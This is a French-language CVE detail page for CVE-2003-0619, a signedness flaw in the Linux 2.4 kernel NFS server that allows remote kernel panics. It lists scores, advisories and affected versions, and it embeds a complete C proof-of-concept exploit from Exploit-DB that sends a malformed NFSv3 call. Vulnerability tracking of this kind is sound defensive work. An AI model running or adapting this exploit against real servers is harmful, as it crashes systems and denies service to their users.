CVE-2003-0619 : Détail

CVE-2003-0619

5.93%V4
Network
2003-08-01
02h00 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Integer signedness error in the decode_fh function of nfs3xdr.c in Linux kernel before 2.4.21 allows remote attackers to cause a denial of service (kernel panic) via a negative size value within XDR data of an NFSv3 procedure call.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 68

Date de publication : 2003-07-28 22h00 +00:00
Auteur : Jared Stanbrough
EDB Vérifié : Yes

/* Linux 2.4.20 knfsd kernel signed/unsigned decode_fh DoS Author: jared stanbrough <jareds pdx edu> Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64) static inline u32 * decode_fh(u32 *p, struct svc_fh *fhp) { int size; fh_init(fhp, NFS3_FHSIZE); size = ntohl(*p++); if (size > NFS3_FHSIZE) return NULL; memcpy(&fhp->fh_handle.fh_base, p, size); fhp->fh_handle.fh_size = size; return p + XDR_QUADLEN(size); } This code is called by quite a few XDR decoding routines. The below POC demonstrates the vulnerability by encoding a malicious fhsize at the beginning of a diroparg xdr argument. To test this, the vulnerable host must have an accessible exported directory which was previously mounted by the attacker. _HOWEVER_ it may be possible to trigger this bug by some other method. Fix: Simply change size to an unsigned int, or check for size < 0. */ #include <rpcsvc/nfs_prot.h> #include <rpc/rpc.h> #include <rpc/xdr.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #define NFSPROG 100003 #define NFSVERS 3 #define NFSPROC_GETATTR 1 static struct diropargs heh; bool_t xdr_heh(XDR *xdrs, diropargs *heh) { int32_t werd = -1; return xdr_int32_t(xdrs, &werd); } int main(void) { CLIENT * client; struct timeval tv; client = clnt_create("marduk", NFSPROG, NFSVERS, "udp"); if(client == NULL) { perror("clnt_create\n"); } tv.tv_sec = 3; tv.tv_usec = 0; client->cl_auth = authunix_create_default(); clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh, (xdrproc_t) xdr_void, NULL, tv); return 0; } // milw0rm.com [2003-07-29]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.4.21

Références

http://www.redhat.com/support/errata/RHSA-2003-198.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2003-239.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2004/dsa-358
Tags : vendor-advisory, x_refsource_DEBIAN
http://marc.info/?l=bugtraq&m=105950927708272&w=2
Tags : mailing-list, x_refsource_BUGTRAQ